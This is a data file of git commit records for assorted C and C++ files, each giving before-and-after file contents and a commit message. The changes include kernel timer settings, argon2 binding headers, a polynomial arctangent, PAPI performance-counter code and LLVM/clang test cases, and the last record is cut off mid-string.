{"commit":"9cf8f370f0777a24808b3485f3b5abb8e736d3e8","old_file":"include\/asm-parisc\/param.h","new_file":"include\/asm-parisc\/param.h","old_contents":"#ifndef _ASMPARISC_PARAM_H\n#define _ASMPARISC_PARAM_H\n\n#ifdef __KERNEL__\n# ifdef CONFIG_PA20\n#  define HZ\t\t1000\t\t\/* Faster machines *\/\n# else\n#  define HZ\t\t100\t\t\/* Internal kernel timer frequency *\/\n# endif\n# define USER_HZ\t100\t\t\/* .. some user interfaces are in \"ticks\" *\/\n# define CLOCKS_PER_SEC\t(USER_HZ)\t\/* like times() *\/\n#endif\n\n#ifndef HZ\n#define HZ 100\n#endif\n\n#define EXEC_PAGESIZE\t4096\n\n#ifndef NOGROUP\n#define NOGROUP\t\t(-1)\n#endif\n\n#define MAXHOSTNAMELEN\t64\t\/* max length of hostname *\/\n\n#endif\n","new_contents":"#ifndef _ASMPARISC_PARAM_H\n#define _ASMPARISC_PARAM_H\n\n#ifdef __KERNEL__\n#define HZ\t\tCONFIG_HZ\n#define USER_HZ\t\t100\t\t\/* some user API use \"ticks\" *\/\n#define CLOCKS_PER_SEC\t(USER_HZ)\t\/* like times() *\/\n#endif\n\n#ifndef HZ\n#define HZ 100\n#endif\n\n#define EXEC_PAGESIZE\t4096\n\n#ifndef NOGROUP\n#define NOGROUP\t\t(-1)\n#endif\n\n#define MAXHOSTNAMELEN\t64\t\/* max length of hostname *\/\n\n#endif\n","subject":"Use CONFIG_HZ to determine interval timer rate (aka clock ticks)","message":"[PARISC] Use CONFIG_HZ to determine interval timer rate (aka clock ticks)\n\nThis isn't likely to be causing problems for other bits of\nkernel code. I can't find any other user of CONFIG_HZ outside\nof arch specific code.\n\nSigned-off-by: Grant Grundler <fd58b8293aeebb072b32124aef6e8da71dd5739c@parisc-linux.org>\nSigned-off-by: Kyle McMartin <3c25b01657254677d3e1a8fd1f0742c5d489bd39@parisc-linux.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"62f68976927c28ad86144c596576d6311a21f2bd","old_file":"src\/argon2_node.h","new_file":"src\/argon2_node.h","old_contents":"#ifndef ARGON2_NODE_H\n#define ARGON2_NODE_H\n\n#include <memory>\n#include <nan.h>\n\nnamespace NodeArgon2 {\n\nclass HashAsyncWorker final: public Nan::AsyncWorker {\npublic:\n    HashAsyncWorker(std::string&& plain, std::string&& salt,\n            std::tuple<uint32_t, uint32_t, uint32_t, argon2_type>&& params);\n\n    void Execute() override;\n\n    void HandleOKCallback() override;\n\n    void HandleErrorCallback() override;\n\nprivate:\n    std::string plain;\n    std::string salt;\n    uint32_t time_cost;\n    uint32_t memory_cost;\n    uint32_t parallelism;\n    argon2_type type;\n    std::unique_ptr<char[]> output;\n};\n\nclass VerifyAsyncWorker final: public Nan::AsyncWorker {\npublic:\n    VerifyAsyncWorker(std::string&& hash, std::string&& plain, argon2_type type);\n\n    void Execute() override;\n\n    void HandleOKCallback() override;\n\n    void HandleErrorCallback() override;\n\nprivate:\n    std::string hash;\n    std::string plain;\n    argon2_type type;\n    bool output;\n};\n\nNAN_METHOD(Hash);\n\nNAN_METHOD(HashSync);\n\nNAN_METHOD(Verify);\n\nNAN_METHOD(VerifySync);\n\n}\n\n#endif \/* ARGON2_NODE_H *\/\n","new_contents":"#ifndef ARGON2_NODE_H\n#define ARGON2_NODE_H\n\n#include <memory>\n#include <nan.h>\n\nnamespace NodeArgon2 {\n\nclass HashAsyncWorker final: public Nan::AsyncWorker {\npublic:\n    explicit HashAsyncWorker(std::string&& plain, std::string&& salt,\n            std::tuple<uint32_t, uint32_t, uint32_t, argon2_type>&& params);\n\n    void Execute() override;\n\n    void HandleOKCallback() override;\n\n    void HandleErrorCallback() override;\n\nprivate:\n    std::string plain;\n    std::string salt;\n    uint32_t time_cost;\n    uint32_t memory_cost;\n    uint32_t parallelism;\n    argon2_type type;\n    std::unique_ptr<char[]> output;\n};\n\nclass VerifyAsyncWorker final: public Nan::AsyncWorker {\npublic:\n    explicit VerifyAsyncWorker(std::string&& hash, std::string&& plain,\n            argon2_type type);\n\n    void Execute() override;\n\n    void HandleOKCallback() override;\n\n    void HandleErrorCallback() override;\n\nprivate:\n    std::string hash;\n    std::string plain;\n    argon2_type type;\n    bool output;\n};\n\nNAN_METHOD(Hash);\n\nNAN_METHOD(HashSync);\n\nNAN_METHOD(Verify);\n\nNAN_METHOD(VerifySync);\n\n}\n\n#endif \/* ARGON2_NODE_H *\/\n","subject":"Use explicit constructors for correctness","message":"Use explicit constructors for correctness\n","lang":"C","license":"mit","repos":"markfejes\/node-argon2,markfejes\/node-argon2,markfejes\/node-argon2,ranisalt\/node-argon2,ranisalt\/node-argon2,ranisalt\/node-argon2"}
{"commit":"ff22d76862b24b1ca7152ca624cdd2e9772a23b6","old_file":"src\/math\/p_atan.c","new_file":"src\/math\/p_atan.c","old_contents":"#include <pal.h>\n\n\/**\n *\n * Calculates inverse tangent (arc tangent) of the input value. The function\n * returns a value between -pi\/2 to pi\/2 but does not check for illegal input\n * values.\n *\n * @param a     Pointer to input vector\n *\n * @param c     Pointer to output vector\n *\n * @param n     Size of 'a' and 'c' vector.\n * \n * @return      None\n *\n *\/\n#include <math.h>\nvoid p_atan_f32(const float *a, float *c, int n)\n{\n\n    int i;\n    for (i = 0; i < n; i++) {\n        *(c + i) = atan(*(a + i));\n    }\n}\n","new_contents":"#include <pal.h>\n\n\/*\n * -1 <= x <= 1\n * atan x = a1 * x + a3 * x^3 + ... + a9 * x^9 + e(x)\n * |e(x)| <= 10^-5\n *\/\nstatic inline float _p_atan(const float x)\n{\n    const float a1 =  0.9998660f;\n    const float a3 = -0.3302995f;\n    const float a5 =  0.1801410f;\n    const float a7 = -0.0851330f;\n    const float a9 =  0.0208351f;\n    return a1 * x +\n        a3 * x * x * x +\n        a5 * x * x * x * x * x +\n        a7 * x * x * x * x * x * x * x +\n        a9 * x * x * x * x * x * x * x * x * x;\n}\n\n\/**\n *\n * Calculates inverse tangent (arc tangent) of the input value. The function\n * returns a value between -pi\/2 to pi\/2 but does not check for illegal input\n * values.\n *\n * @param a     Pointer to input vector\n *\n * @param c     Pointer to output vector\n *\n * @param n     Size of 'a' and 'c' vector.\n * \n * @return      None\n *\n *\/\n#include <math.h>\nvoid p_atan_f32(const float *a, float *c, int n)\n{\n\n    int i;\n    for (i = 0; i < n; i++) {\n        c[i] = _p_atan(a[i]);\n    }\n}\n","subject":"Implement the inverse tangent function.","message":"math:atan: Implement the inverse tangent function.\n\nSigned-off-by: Mansour Moufid <ac5f6b12fab5e0d4efa7215e6c2dac9d55ab77dc@gmail.com>\n","lang":"C","license":"apache-2.0","repos":"Adamszk\/pal3,Adamszk\/pal3,aolofsson\/pal,eliteraspberries\/pal,mateunho\/pal,parallella\/pal,8l\/pal,aolofsson\/pal,olajep\/pal,mateunho\/pal,8l\/pal,debug-de-su-ka\/pal,olajep\/pal,mateunho\/pal,Adamszk\/pal3,mateunho\/pal,parallella\/pal,aolofsson\/pal,aolofsson\/pal,debug-de-su-ka\/pal,Adamszk\/pal3,parallella\/pal,debug-de-su-ka\/pal,olajep\/pal,parallella\/pal,8l\/pal,8l\/pal,debug-de-su-ka\/pal,eliteraspberries\/pal,mateunho\/pal,eliteraspberries\/pal,debug-de-su-ka\/pal,eliteraspberries\/pal,eliteraspberries\/pal,olajep\/pal,parallella\/pal"}
{"commit":"033bfcb84aa88dde9779c789e4aefeb20bb899ed","old_file":"lelib\/lelib.h","new_file":"lelib\/lelib.h","old_contents":"\/\/\n\/\/  lelib.h\n\/\/  lelib\n\/\/\n\/\/  Created by Petr on 27.10.13.\n\/\/  Copyright (c) 2013 JLizard. All rights reserved.\n\/\/\n\n#define LE_DEBUG_LOGS   1\n\n#if LE_DEBUG_LOGS\n#define LE_DEBUG(...)         NSLog(__VA_ARGS__)\n#else\n#define LE_DEBUG(...)\n#endif\n\n#import \"LELog.h\"\n#import \"lecore.h\"\n","new_contents":"\/\/\n\/\/  lelib.h\n\/\/  lelib\n\/\/\n\/\/  Created by Petr on 27.10.13.\n\/\/  Copyright (c) 2013 JLizard. All rights reserved.\n\/\/\n\n#ifndef LE_DEBUG_LOGS\n    #ifdef DEBUG\n        #define LE_DEBUG_LOGS 1\n    #else\n        #define LE_DEBUG_LOGS 0\n    #endif\n#endif\n\n#if LE_DEBUG_LOGS\n#define LE_DEBUG(...)         NSLog(__VA_ARGS__)\n#else\n#define LE_DEBUG(...)\n#endif\n\n#import \"LELog.h\"\n#import \"lecore.h\"\n","subject":"Allow logging to be configured at compilation time.","message":"Allow logging to be configured at compilation time.\n","lang":"C","license":"mit","repos":"smalltownheroes\/le_ios,omgapuppy\/le_ios,omgapuppy\/le_ios,omgapuppy\/le_ios,smalltownheroes\/le_ios,logentries\/le_ios,JohnLemberger\/le_ios,KieranOB\/le_ios,smalltownheroes\/le_ios"}
{"commit":"a5b2fb5072ff42d546eea4fd047dd9d3cd72337e","old_file":"src\/gcc\/include\/libvstring.h","new_file":"src\/gcc\/include\/libvstring.h","old_contents":"","new_contents":"\/* VString library header file for GCC *\/\n\n#include <exec\/types.h>\n\nAPTR AllocVecPooled(__reg(\"a0\") APTR pool, __reg(\"d0\") ULONG size);\nAPTR CloneMem(__reg(\"a0\") const APTR src, __reg(\"d0\") ULONG size);\nAPTR CloneMemPooled(__reg(\"a0\") APTR pool, __reg(\"a1\") const APTR src, __reg(\"d0\") ULONG size);\nvoid FreeVecPooled(__reg(\"a0\") APTR pool, __reg(\"a1\") APTR block);\nUBYTE* StrCopy(__reg(\"a0\") const UBYTE *s, __reg(\"a1\") UBYTE *d);\nUWORD* StrCopyW(__reg(\"a0\") const UWORD *s, __reg(\"a1\") UWORD *d);\nULONG* StrCopyL(__reg(\"a0\") const ULONG *s, __reg(\"a1\") ULONG *d);\nULONG Utf8Size(__reg(\"d0\") ULONG cp);\n","subject":"Include file for GCC compiler.","message":"Include file for GCC compiler.\n","lang":"C","license":"mit","repos":"grzegorz-kraszewski\/libvstring"}
{"commit":"394d5c9d3ae0f8e3ff40ae98a3eeab43004c85e6","old_file":"src\/interrupts.h","new_file":"src\/interrupts.h","old_contents":"#ifndef INTERRUPTS_H\n#define INTERRUPTS_H\n\n#include \"types.h\"\n\nnamespace interrupts {\n\n\/\/ Enable interrupts on the CPU.\ninline void enable() {\n  asm volatile(\"sti\");\n}\n\n\/\/ Enable interrupts on the CPU.\ninline void disable() {\n  asm volatile(\"cli\");\n}\n\nstruct Registers {\n  u32 gs, fs, es, ds;                         \/\/ Segment registers.\n  u32 edi, esi, ebp, esp, ebx, edx, ecx, eax; \/\/ From 'pusha' instruction.\n  u32 interruptNum;\n  u32 eip, cs, eflags, useresp, ss;           \/\/ Pushed by CPU on interrupt.\n};\n\nusing IrqHandlerFn = void (*)(Registers*);\nvoid setIrqHandler(u32 irqNum, IrqHandlerFn handlerFn);\n\nvoid init();\nvoid initIsrs();\nvoid initIrqs();\nvoid remapPic();\n\nextern \"C\" void interruptHandler(Registers* regs);\n\n} \/\/ namespace interrupts\n\n#endif\n","new_contents":"#ifndef INTERRUPTS_H\n#define INTERRUPTS_H\n\n#include \"types.h\"\n\nnamespace interrupts {\n\n\/\/ Enable interrupts on the CPU.\ninline void enable() {\n  asm volatile(\"sti\");\n}\n\n\/\/ Enable interrupts on the CPU.\ninline void disable() {\n  asm volatile(\"cli\");\n}\n\nstruct Registers {\n  u32 gs, fs, es, ds;                         \/\/ Segment registers.\n  u32 edi, esi, ebp, esp, ebx, edx, ecx, eax; \/\/ From 'pusha' instruction.\n  u32 interruptNum;\n  u32 eip, cs, eflags, useresp, ss;           \/\/ Pushed by CPU on interrupt.\n};\n\nusing IrqHandlerFn = void (*)(Registers*);\nvoid setIrqHandler(u32 irqNum, IrqHandlerFn handlerFn);\n\nvoid init();\nvoid remapPic();\n\nextern \"C\" void interruptHandler(Registers* regs);\n\n} \/\/ namespace interrupts\n\n#endif\n","subject":"Remove prototypes for removed functions.","message":"Remove prototypes for removed functions.\n","lang":"C","license":"isc","repos":"tsion\/spideros,tsion\/spideros,tsion\/spideros"}
{"commit":"51d711cd48cd5b6c20474f1cb2e0a91a882d54e4","old_file":"concept.h","new_file":"concept.h","old_contents":"","new_contents":"template <class Key, class T>\nstruct map {\n    using size_type = std::size_t;\n    map(size_type bucket_count = \/* some default *\/);\n\n    using value_type = std::pair<const Key, T>;\n\n    iterator begin();\n    const_iterator begin() const;\n\n    iterator end();\n    const_iterator end() const;\n\n    \/\/ Args are arguments to constructing a value_type\n    template <class... Args>\n    iterator emplace(Args &&...args);\n\n    iterator find(const Key &);\n    const iterator find(const Key &) const;\n\n    iterator erase(const_iterator);\n\n    size_type size() const; \n    \n    size_type bucket_count() const;\n    \n    float load_factor() const;\n\n    float max_load_factor() const;\n    void max_load_factor(float);\n};\n","subject":"Write rough interface for a map class template","message":"Write rough interface for a map class template\n","lang":"C","license":"mit","repos":"tenyoung795\/bu2016-cs375-project,tenyoung795\/bu2016-cs375-project,tenyoung795\/bu2016-cs375-project"}
{"commit":"ecb3408d04ba37946ade705c43870c9405b564de","old_file":"Include.h","new_file":"Include.h","old_contents":"","new_contents":"#ifndef INCLUDE_H\n#define INCLUDE_H\n\n\nusing namespace std;\n\nstruct LibrarySwitch\n{\n\tbool cstdlib = false;\n\tbool csignal = false;\n\tbool csetjmp = false;\n\tbool cstdarg = false;\n\tbool typeinfo = false;\n\tbool type_traits = false;\n\tbool bitset = false;\n\tbool functional = false;\n\tbool utility = false;\n\tbool ctime = false;\n\tbool chrono = false;\n\tbool cstddef = false;\n\tbool initalizer_list = false;\n\tbool tuple = false;\n\tbool _new_ = false;\n\tbool memory = false;\n\tbool scoped_allocator = false;\n\tbool climits = false;\n\tbool cfloat = false;\n\tbool cstdint = false;\n\tbool cinttypes = false;\n\tbool limits = false;\n\tbool exception = false;\n\tbool stdexcept = false;\n\tbool cassert = false;\n\tbool system_error = false;\n\tbool cerrno = false;\n\tbool cctype = false;\n\tbool cwtype = false;\n\tbool cstring = false;\n\tbool cwchar = false;\n\tbool string = false;\n\tbool vector = false;\n\tbool deque = false;\n\tbool list = false;\n\tbool forward_list = false;\n\tbool set = false;\n\tbool map = false;\n\tbool unordered_set = false;\n\tbool unordered_map = false;\n\tbool stack = false;\n\tbool queue = false;\n\tbool algorithm = false;\n\tbool iterator = false;\n\tbool cmath = false;\n\tbool complex = false;\n\tbool valarray = false;\n\tbool random = false; \n\tbool numeric = false;\n\tbool ratio = false;\n\tbool cfenv = false;\n\tbool iosfwd = false;\n\tbool ios = false;\n\tbool istream = false; \n\tbool ostream = false;\n\tbool iostream = false;\n\tbool fstream = false;\n\tbool sstream = false;\n\tbool strstream = false;\n\tbool iomanip = false;\n\tbool streambuf = false;\n\tbool cstdio = false;\n\tbool locale = false;\n\tbool clocal = false;\n\tbool codecvt = false;\n\tbool regex = false;\n\tbool atomic = false;\n\tbool thread = false;\n\tbool mutex = false;\n\tbool shared_mutex = false;\n\tbool future = false;\n\tbool condition_variable = false;\n};\n\n\nLibrarySwitch Library;\n\n\n\/\/ IOSTREAM\nint CHECKFORIOSTREAM(string ProcessInput)\n{\n\tif (ProcessInput.find(\"#include <iostream>\") != string::npos)\n\t{\n\t\tcout << \"iostream is now included\\n\\n\";\n\t\tLibrary.iostream = true;\n\t}\n\treturn 0;\n}\n\n\n#endif \/\/ !INCLUDE_H","subject":"Add interpreter include list and iostream prototype","message":"Add interpreter include list and iostream prototype\n\nThis will be used for so that the interpreter can check if you included\nthe libraries that your function will need to be able to work. This will\nbe like it would in the compiled version of C++ code. I'm fixing to\nimplement a switch to allow this feature to be disabled as well. That\nbeing said I also added another algorithm used to register the include\nfile of iostream. But that was a prototype and because it needs to be\nuniversal to work with all of the C++ include libraries. This algorithm\nwill need some touch ups to make it that way.\n","lang":"C","license":"mit","repos":"Project-CPP\/CPP-Interpreter"}
{"commit":"9e95b48056e92ab1c67ee15e55e3662727154267","old_file":"src\/components\/appio\/tests\/appio_test_blocking.c","new_file":"src\/components\/appio\/tests\/appio_test_blocking.c","old_contents":"","new_contents":"\/* \n * Test case for appio\n * Author: Tushar Mohan\n *         tusharmohan@gmail.com\n * \n * Description: This test case reads from standard linux \/etc\/group\n *              and writes the output to  stdout.\n *              Statistics are printed at the end of the run.,\n *\/\n#include <papi.h>\n#include <errno.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <fcntl.h>\n#include <unistd.h>\n\n#include \"papi_test.h\"\n \n#define NUM_EVENTS 12\n \nint main(int argc, char** argv) {\n  int Events[NUM_EVENTS]; \n  const char* names[NUM_EVENTS] = {\"OPEN_CALLS\", \"OPEN_FDS\", \"READ_CALLS\", \"READ_BYTES\", \"READ_USEC\", \"READ_ERR\", \"READ_INTERRUPTED\", \"READ_WOULD_BLOCK\", \"WRITE_CALLS\",\"WRITE_BYTES\",\"WRITE_USEC\", \"WRITE_WOULD_BLOCK\"};\n  long long values[NUM_EVENTS];\n\n  int version = PAPI_library_init (PAPI_VER_CURRENT);\n  if (version != PAPI_VER_CURRENT) {\n    fprintf(stderr, \"PAPI_library_init version mismatch\\n\");\n    exit(1);\n  }\n\n  if (!TESTS_QUIET) fprintf(stderr, \"This program will read from stdin and echo it to stdout\\n\");\n  int retval;\n  int e;\n  for (e=0; e<NUM_EVENTS; e++) {\n    retval = PAPI_event_name_to_code((char*)names[e], &Events[e]);\n    if (retval != PAPI_OK) {\n      fprintf(stderr, \"Error getting code for %s\\n\", names[e]);\n      exit(2);\n    } \n  }\n\n  \/* Start counting events *\/\n  if (PAPI_start_counters(Events, NUM_EVENTS) != PAPI_OK) {\n    fprintf(stderr, \"Error in PAPI_start_counters\\n\");\n    exit(1);\n  }\n\n  int bytes = 0;\n  char buf[1024];\n\n \n\/\/if (PAPI_read_counters(values, NUM_EVENTS) != PAPI_OK)\n\/\/   handle_error(1);\n\/\/printf(\"After reading the counters: %lld\\n\",values[0]);\n\n  while ((bytes = read(0, buf, 1024)) > 0) {\n    write(1, buf, bytes);\n  }\n\n\n  \/* Stop counting events *\/\n  if (PAPI_stop_counters(values, NUM_EVENTS) != PAPI_OK) {\n    fprintf(stderr, \"Error in PAPI_stop_counters\\n\");\n  }\n \n  if (!TESTS_QUIET) { \n    printf(\"----\\n\");\n    for (e=0; e<NUM_EVENTS; e++)  \n      printf(\"%s: %lld\\n\", names[e], values[e]);\n  }\n  test_pass( __FILE__, NULL, 0 );\n  return 0;\n}\n","subject":"Use a non-blocking select to determine which reads and writes would block","message":"Use a non-blocking select to determine which reads and writes would block\n","lang":"C","license":"bsd-3-clause","repos":"pyrovski\/papi,arm-hpc\/papi,arm-hpc\/papi,pyrovski\/papi,pyrovski\/papi,arm-hpc\/papi,arm-hpc\/papi,pyrovski\/papi,pyrovski\/papi,pyrovski\/papi,arm-hpc\/papi,pyrovski\/papi,arm-hpc\/papi,pyrovski\/papi,arm-hpc\/papi"}
{"commit":"ef0e80e41dafccc5d3b64b37d150b4cee858997e","old_file":"src\/alpha-memory.c","new_file":"src\/alpha-memory.c","old_contents":"#include \"papi.h\"\n\nint get_memory_info( PAPI_mem_info_t * mem_info ){\n   int retval = 0;\n   return PAPI_OK;\n}\n\nlong _papi_hwd_get_dmem_info(int option){\n}\n","new_contents":"#include \"papi.h\"\n#include <sys\/procfs.h>\n#include <stdio.h>\n#include <fcntl.h>\n\nint get_memory_info( PAPI_mem_info_t * mem_info ){\n   int retval = 0;\n   return PAPI_OK;\n}\n\nlong _papi_hwd_get_dmem_info(int option){\n   pid_t pid = getpid();\n   prpsinfo_t info;\n   char pfile[256];\n   int fd;\n\n   sprintf(pfile, \"\/proc\/%05d\", pid);\n   if((fd=open(pfile,O_RDONLY)) <0 ) {\n        DBG((stderr,\"PAPI_get_dmem_info can't open \/proc\/%d\\n\",pid));\n        return(PAPI_ESYS);\n   }\n   if(ioctl(fd, PIOCPSINFO,  &info)<0){\n        return(PAPI_ESYS);\n   }\n   close(fd);\n switch(option){\n   case PAPI_GET_RESSIZE:\n        return(info.pr_rssize);\n   case PAPI_GET_SIZE:\n        return(info.pr_size);\n   default:\n        return(PAPI_EINVAL);\n  }\n}\n","subject":"Support for dynamic memory information added for Alpha","message":"Support for dynamic memory information added for Alpha\n","lang":"C","license":"bsd-3-clause","repos":"pyrovski\/papi,arm-hpc\/papi,pyrovski\/papi,pyrovski\/papi,pyrovski\/papi,arm-hpc\/papi,pyrovski\/papi,pyrovski\/papi,arm-hpc\/papi,pyrovski\/papi,pyrovski\/papi,arm-hpc\/papi,arm-hpc\/papi,arm-hpc\/papi,arm-hpc\/papi"}
{"commit":"613d7f23227b5b763e3ebe58442b5edaefe324ba","old_file":"lib\/debug_msg.c","new_file":"lib\/debug_msg.c","old_contents":"\/**\n * @file debug_msg.c Debug Message function\n *\/\n\/* $Id$ *\/\n#include \"gangliaconf.h\"\n\nint debug_level = 0;\n\n\/**\n * @fn void debug_msg(const char *format, ...)\n * Prints the message to STDERR if DEBUG is #defined\n * @param format The format of the msg (see printf manpage)\n * @param ... Optional arguments\n *\/\nvoid\ndebug_msg(const char *format, ...)\n{\n   if (debug_level && format)\n      {\n         va_list ap;\n         va_start(ap, format);\n         vfprintf(stderr, format, ap);\n         fprintf(stderr,\"\\n\");\n         va_end(ap);\n      } \n   return;\n}\n","new_contents":"\/**\n * @file debug_msg.c Debug Message function\n *\/\n\/* $Id$ *\/\n#include \"gangliaconf.h\"\n\nint debug_level = 0;\n\n\/**\n * @fn void debug_msg(const char *format, ...)\n * Prints the message to STDERR if DEBUG is #defined\n * @param format The format of the msg (see printf manpage)\n * @param ... Optional arguments\n *\/\nvoid\ndebug_msg(const char *format, ...)\n{\n   if (debug_level > 1 && format)\n      {\n         va_list ap;\n         va_start(ap, format);\n         vfprintf(stderr, format, ap);\n         fprintf(stderr,\"\\n\");\n         va_end(ap);\n      } \n   return;\n}\n","subject":"Debug level 1 now only shows error messages (and no backgrounding in gmetad).","message":"Debug level 1 now only shows error messages (and no backgrounding in gmetad).\n\n","lang":"C","license":"bsd-3-clause","repos":"phreakocious\/monitor-core,phreakocious\/monitor-core,mjzhou\/monitor-core,lawrencewu\/monitor-core,dmourati\/monitor-core,phreakocious\/monitor-core,fastly\/monitor-core,fastly\/monitor-core,lawrencewu\/monitor-core,ganglia\/monitor-core,torkelsson\/monitor-core,phreakocious\/monitor-core,ganglia\/monitor-core,fastly\/monitor-core,dmourati\/monitor-core,fastly\/monitor-core,hinesmr\/monitor-core,dmourati\/monitor-core,NoodlesNZ\/monitor-core,hinesmr\/monitor-core,sdgdsffdsfff\/monitor-core,torkelsson\/monitor-core,NoodlesNZ\/monitor-core,torkelsson\/monitor-core,mjzhou\/monitor-core,lawrencewu\/monitor-core,NoodlesNZ\/monitor-core,torkelsson\/monitor-core,NoodlesNZ\/monitor-core,ganglia\/monitor-core,phreakocious\/monitor-core,hinesmr\/monitor-core,torkelsson\/monitor-core,NoodlesNZ\/monitor-core,phreakocious\/monitor-core,sdgdsffdsfff\/monitor-core,lawrencewu\/monitor-core,mjzhou\/monitor-core,hinesmr\/monitor-core,sdgdsffdsfff\/monitor-core,mjzhou\/monitor-core,fastly\/monitor-core,mjzhou\/monitor-core,torkelsson\/monitor-core,ganglia\/monitor-core,ganglia\/monitor-core,sdgdsffdsfff\/monitor-core,ganglia\/monitor-core,NoodlesNZ\/monitor-core,mjzhou\/monitor-core,lawrencewu\/monitor-core,ganglia\/monitor-core,lawrencewu\/monitor-core,sdgdsffdsfff\/monitor-core,mjzhou\/monitor-core,dmourati\/monitor-core,torkelsson\/monitor-core,ganglia\/monitor-core,sdgdsffdsfff\/monitor-core,dmourati\/monitor-core,fastly\/monitor-core,dmourati\/monitor-core,hinesmr\/monitor-core,lawrencewu\/monitor-core,NoodlesNZ\/monitor-core,sdgdsffdsfff\/monitor-core,phreakocious\/monitor-core,fastly\/monitor-core"}
{"commit":"1c48a973b28eeb5747e5c0780a7bc0a1ad1b3b09","old_file":"src\/config.h","new_file":"src\/config.h","old_contents":"#include \"can\/canutil.h\"\n\nnamespace openxc {\nnamespace config {\n\ntypedef struct {\n    int messageSetIndex;\n} Configuration;\n\nConfiguration CONFIG;\n\n} \/\/ namespace config\n} \/\/ namespace openxc\n","new_contents":"#ifndef _CONFIG_H_\n#define _CONFIG_H_\n\n#include \"can\/canutil.h\"\n\nnamespace openxc {\nnamespace config {\n\ntypedef struct {\n    int messageSetIndex;\n} Configuration;\n\nstatic Configuration CONFIG;\n\n} \/\/ namespace config\n} \/\/ namespace openxc\n\n#endif \/\/ _CONFIG_H_\n","subject":"Make sure CONFIG is static and only imported once.","message":"Make sure CONFIG is static and only imported once.\n","lang":"C","license":"bsd-3-clause","repos":"mgiannikouris\/vi-firmware,ene-ilies\/vi-firmware,openxc\/vi-firmware,openxc\/vi-firmware,ene-ilies\/vi-firmware,ene-ilies\/vi-firmware,mgiannikouris\/vi-firmware,ene-ilies\/vi-firmware,openxc\/vi-firmware,mgiannikouris\/vi-firmware,mgiannikouris\/vi-firmware,openxc\/vi-firmware"}
{"commit":"8a879a16cffbd6e379ea041f759d1f7fa1631496","old_file":"test\/C++Frontend\/2003-05-22-LocalTypeTest.c","new_file":"test\/C++Frontend\/2003-05-22-LocalTypeTest.c","old_contents":"struct sometimes {\n  short offset; short bit;\n  short live_length; short calls_crossed;\n} Y;\n\nint main() {\n  struct sometimes { int X, Y; } S;\n  S.X = 1;\n  return Y.offset;\n}\n","new_contents":"#include <stdio.h>\n\nstruct sometimes {\n  short offset; short bit;\n  short live_length; short calls_crossed;\n} Y;\n\nint main() {\n  int X;\n  {\n    struct sometimes { int X, Y; } S;\n    S.X = 1;\n    X = S.X;\n  }\n  { \n    struct sometimes { char X; } S;\n    S.X = -1;\n    X += S.X;\n  }\n  X += Y.offset;\n\n  printf(\"Result is %d\\n\", X);\n  return X;\n}\n","subject":"Make the testcase even more insane","message":"Make the testcase even more insane\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@6280 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap"}
{"commit":"2e2d03c70274bba1fa762e123842994238f68f41","old_file":"test\/Sema\/warn-missing-variable-declarations.c","new_file":"test\/Sema\/warn-missing-variable-declarations.c","old_contents":"\/\/ RUN: %clang -Wmissing-variable-declarations -fsyntax-only -Xclang -verify %s\n\nint vbad1; \/\/ expected-warning{{no previous extern declaration for non-static variable 'vbad1'}}\n\nint vbad2;\nint vbad2 = 10; \/\/ expected-warning{{no previous extern declaration for non-static variable 'vbad2'}}\n\nstruct {\n  int mgood1;\n} vbad3; \/\/ expected-warning{{no previous extern declaration for non-static variable 'vbad3'}}\n\nint vbad4;\nint vbad4 = 10; \/\/ expected-warning{{no previous extern declaration for non-static variable 'vbad4'}}\nextern int vbad4;\n\nextern int vgood1;\nint vgood1;\nint vgood1 = 10;\n\/\/ RUN: %clang -Wmissing-variable-declarations -fsyntax-only -Xclang -verify %s\n\nint vbad1; \/\/ expected-warning{{no previous extern declaration for non-static variable 'vbad1'}}\n\nint vbad2;\nint vbad2 = 10; \/\/ expected-warning{{no previous extern declaration for non-static variable 'vbad2'}}\n\nstruct {\n  int mgood1;\n} vbad3; \/\/ expected-warning{{no previous extern declaration for non-static variable 'vbad3'}}\n\nint vbad4;\nint vbad4 = 10; \/\/ expected-warning{{no previous extern declaration for non-static variable 'vbad4'}}\nextern int vbad4;\n\nextern int vgood1;\nint vgood1;\nint vgood1 = 10;\n","new_contents":"\/\/ RUN: %clang -Wmissing-variable-declarations -fsyntax-only -Xclang -verify %s\n\nint vbad1; \/\/ expected-warning{{no previous extern declaration for non-static variable 'vbad1'}}\n\nint vbad2;\nint vbad2 = 10; \/\/ expected-warning{{no previous extern declaration for non-static variable 'vbad2'}}\n\nstruct {\n  int mgood1;\n} vbad3; \/\/ expected-warning{{no previous extern declaration for non-static variable 'vbad3'}}\n\nint vbad4;\nint vbad4 = 10; \/\/ expected-warning{{no previous extern declaration for non-static variable 'vbad4'}}\nextern int vbad4;\n\nextern int vgood1;\nint vgood1;\nint vgood1 = 10;\n","subject":"Delete junk that snuck into r166498.","message":"Delete junk that snuck into r166498.\n\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@166499 